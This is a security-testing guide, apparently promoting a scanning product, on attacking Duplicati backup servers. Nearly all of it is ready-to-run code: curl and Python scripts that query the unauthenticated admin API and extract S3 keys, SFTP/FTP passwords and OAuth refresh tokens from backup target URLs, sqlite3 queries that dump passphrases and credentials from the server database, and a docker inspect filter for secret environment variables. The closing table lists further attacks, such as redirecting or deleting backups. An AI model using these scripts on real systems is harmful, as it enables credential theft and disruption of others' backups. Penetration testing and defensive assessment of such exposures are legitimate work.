Duplicati Security Testing: Default Credentials, API Key, Database, and Server Passphrase

Duplicati is a widely deployed self-hosted backup application — it stores backup destination credentials for every cloud storage provider, SFTP server, and FTP host it backs up to. The admin UI on port 8200 has no password protection by default, and the local SQLite database stores all backup destination credentials including S3 access keys, FTP passwords, SFTP private keys, and Google Drive OAuth refresh tokens. Key assessment areas: unauthenticated admin API access; backup destination credential extraction; server passphrase bypassing; and source path disclosure revealing what sensitive data is being backed up. This guide covers systematic Duplicati security assessment.

Table of Contents

  1. Unauthenticated Admin UI and Backup Enumeration
  2. Backup Destination Credential Extraction
  3. SQLite Database and Server Passphrase Analysis
  4. Duplicati Security Hardening

Unauthenticated Admin UI and Backup Enumeration

# Duplicati — unauthenticated admin UI and backup enumeration
DUPLICATI_URL="http://duplicati.example.com:8200"

# Check if authentication is required
HTTP=$(curl -s -o /dev/null -w "%{http_code}" "${DUPLICATI_URL}/" 2>/dev/null)
echo "Admin UI status: ${HTTP}"
# 200 = no webservice password set (DEFAULT)
# 302 to /login = password protection enabled

# Unauthenticated API access — list all backup jobs
curl -s "${DUPLICATI_URL}/api/v1/backup" \
  -H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
backups = d.get('Backups',[]) if isinstance(d,dict) else d
print(f'Backup jobs: {len(backups)}')
for b in backups:
    bk = b.get('Backup',b)
    print(f'  [{bk.get(\"ID\")}] {bk.get(\"Name\")}')
    print(f'    TargetURL={bk.get(\"TargetURL\",\"\")[:80]}')
    print(f'    Sources={bk.get(\"Sources\",[])[:3]}')
    print(f'    LastBackupDate={str(bk.get(\"LastBackupDate\",\"\"))[:19]}')
" 2>/dev/null

# TargetURL contains embedded credentials:
# s3://ACCESS_KEY:SECRET_KEY@s3.amazonaws.com/bucket
# ftp://user:password@ftp.example.com/path
# sftp://user:password@sftp.example.com/path
# googledrive://client_id:client_secret/path?authid=REFRESH_TOKEN

# Get server settings
curl -s "${DUPLICATI_URL}/api/v1/serversetting" \
  -H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('Settings',{}) if isinstance(d,dict) else {}
for k, v in settings.items():
    if any(x in k.lower() for x in ['password','key','secret','passphrase','token']):
        print(f'  {k}: {v}')
" 2>/dev/null

Backup Destination Credential Extraction

# Duplicati backup destination credential extraction

# Get full backup configuration including decrypted credentials
# Duplicati API returns destination credentials in the TargetURL
BACKUP_ID="1"
curl -s "${DUPLICATI_URL}/api/v1/backup/${BACKUP_ID}" \
  -H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys,urllib.parse
d=json.load(sys.stdin)
bk = d.get('Backup',d)
target = bk.get('TargetURL','')
print(f'Backup: {bk.get(\"Name\")}')
print(f'TargetURL: {target}')
print()
# Parse credentials from URL
if '://' in target:
    scheme = target.split('://')[0]
    rest = target.split('://')[1]
    if '@' in rest:
        auth = rest.split('@')[0]
        if ':' in auth:
            user, password = auth.split(':',1)
            print(f'Extracted credentials:')
            print(f'  Scheme: {scheme}')
            print(f'  User/Key: {urllib.parse.unquote(user)}')
            print(f'  Password/Secret: {urllib.parse.unquote(password)}')

# Source paths — what data is being backed up
sources = bk.get('Sources',[])
print(f'Source paths:')
for s in sources:
    print(f'  {s}')
# Source paths reveal sensitive data locations:
# /etc/passwd, /home/user/.ssh/, /var/www/html/, database dumps
" 2>/dev/null

# Extract S3 credentials pattern
curl -s "${DUPLICATI_URL}/api/v1/backup" \
  -H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys,re,urllib.parse
d=json.load(sys.stdin)
backups = d.get('Backups',[]) if isinstance(d,dict) else d
for b in backups:
    bk = b.get('Backup',b)
    target = bk.get('TargetURL','')
    # Extract S3 credentials
    s3_match = re.search(r's3[a-z]*://([^:]+):([^@]+)@', target)
    if s3_match:
        print(f'S3: key={urllib.parse.unquote(s3_match.group(1))} secret={urllib.parse.unquote(s3_match.group(2))}')
    # Extract SFTP/FTP credentials
    sftp_match = re.search(r'sftp://([^:]+):([^@]+)@(.+?)/', target)
    if sftp_match:
        print(f'SFTP: user={sftp_match.group(1)} pass={sftp_match.group(2)} host={sftp_match.group(3)}')
    # Extract OAuth tokens (Google Drive, OneDrive)
    authid_match = re.search(r'authid=([^&\"]+)', target)
    if authid_match:
        print(f'OAuth refresh token: {authid_match.group(1)[:30]}...')
" 2>/dev/null

SQLite Database and Server Passphrase Analysis

# Duplicati SQLite database and server passphrase

# Default SQLite database location
DB_PATHS=(
  "/root/.config/Duplicati/Duplicati-server.sqlite"
  "/home/user/.config/Duplicati/Duplicati-server.sqlite"
  "/config/Duplicati-server.sqlite"  # Docker volume
  "/data/Duplicati-server.sqlite"
)

for DB in "${DB_PATHS[@]}"; do
  [ -f "$DB" ] && echo "Found: $DB"
done

# Read the SQLite database (may be encrypted with server-passphrase)
DB_PATH="/root/.config/Duplicati/Duplicati-server.sqlite"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- Server settings including passphrase
SELECT Name, Value FROM ServerSettings
WHERE Name IN ('server-passphrase','server-passphrase-salt',
               'webservice-password','webservice-allowed-hostnames');

-- All backup options including destination credentials
SELECT BackupID, Name, Value FROM Options
WHERE Name IN ('aws-access-key-id','aws-secret-access-key',
               'ftp-password','ftp-username',
               'ssh-password','ssh-keyfile',
               'passphrase', 'authid',
               'googledrive-client-id','googledrive-client-secret',
               'b2-accountid','b2-applicationkey',
               'dropbox-authid','onedrive-mountpoint')
ORDER BY BackupID;
EOF
-- passphrase: the backup encryption passphrase (not the server passphrase)
-- authid: OAuth refresh token for Google Drive/OneDrive/Dropbox

-- All backup source paths
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT B.Name, S.Path
FROM Backup B
JOIN Source S ON B.ID = S.BackupID
ORDER BY B.ID;
EOF

# Docker — inspect Duplicati container
docker inspect duplicati 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PASS','KEY','SECRET','DUPLICATI','TOKEN']):
            print(e)
    # Volume mounts — reveals backup source paths
    mounts = c.get('Mounts',[])
    print('Mounts (backup sources):')
    for m in mounts:
        print(f'  {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null

Duplicati Security Hardening

Duplicati Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated admin API backup configuration enumerationGET /api/v1/backup without credentials — all backup jobs with TargetURL containing destination credentials; S3 access keys, SFTP passwords, OAuth tokens for every configured backup destination; source paths of all backed-up dataCritical
TargetURL credential extraction from backup configurationsParse TargetURL from /api/v1/backup — embedded S3 access key/secret, FTP username/password, SFTP credentials, Google Drive/OneDrive OAuth refresh tokens; each represents live credentials to cloud storage or remote serversCritical
SQLite database destination credential extractionSELECT Value FROM Options WHERE Name IN ('aws-secret-access-key','ssh-password','authid') — all destination credentials from SQLite; readable without server passphrase if passphrase not setHigh
Source path disclosure for sensitive data mappingSELECT Path FROM Source — all backup source paths; reveals /etc/shadow, /home/user/.ssh/, database dump locations, /var/www/ web application directoriesMedium
Backup trigger and delete via APIPOST /api/v1/backup/{id}/run — trigger backup jobs; POST /api/v1/backup/{id}/dbpath/delete — delete backup database; disrupts backup integrity; POST to run enables backup to attacker-controlled destinationHigh

Automate Duplicati Security Testing

Ironimo tests Duplicati deployments for unauthenticated admin UI access on port 8200, TargetURL credential extraction (S3 access keys/secrets, FTP passwords, SFTP credentials, OAuth refresh tokens), SQLite database destination credential enumeration, backup source path sensitive file location disclosure, webservice password absence assessment, server passphrase weakness testing, Docker volume mount backup source path analysis, unauthorized backup trigger via API, and backup destination access logging gap analysis.

Start free scan